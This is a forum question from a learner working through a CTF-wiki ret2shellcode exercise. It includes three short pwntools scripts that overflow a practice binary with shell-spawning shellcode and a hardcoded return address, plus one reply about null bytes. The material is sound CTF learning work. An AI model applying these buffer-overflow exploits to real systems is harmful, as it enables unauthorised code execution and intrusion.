1

Position: https://github.com/ctf-wiki/ctf-wiki/blob/master/docs/zh/docs/pwn/linux/user-mode/stackoverflow/x86/basic-rop.md

It provides a program named ret2shellcode. I try to pwn it, but I failed. I have tried two ways, execute in .bss, execute in stack. But, I just get the information below:

enter image description here

The OS environment and program information is as following:

enter image description here enter image description here

And, I find that:.bss don't have execute permission

enter image description here

Exploit code:

Execute in (stack frame of entry0/_start)

#!/usr/bin/env python
from pwn import *

sh = process('./ret2shellcode')
shellcode = asm(shellcraft.sh())
buf2_addr = 0x804a080

sh.sendline(shellcode.ljust(112, 'A') + p32(buf2_addr))
sh.interactive()

Execute in buf (main function stack frame):

from pwn import *

sh = process("./ret2shellcode")

payload = asm(shellcraft.sh())
buf = 0xffffcecc

sh.sendline(payload.ljust(112, b'A') + p32(buf))
sh.interactive()

Execute in buf2 (.bss):

from pwn import *                                                                                               
 
sh = process('./ret2shellcode')
 
payload = asm(shellcraft.sh())
 
sled_len =  112 
ret_addr = 0xffffcf40
 
play_load2 = 112*b'A' + p32(ret_addr) + payload 
 
sh.sendline(play_load2)
sh.interactive()
1
  • Can you print your shellcode and check if it contains null bytes in it. From error it looks like you are hitting EoF.
    – ifexploit
    Mar 8, 2022 at 16:18

0

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Browse other questions tagged or ask your own question.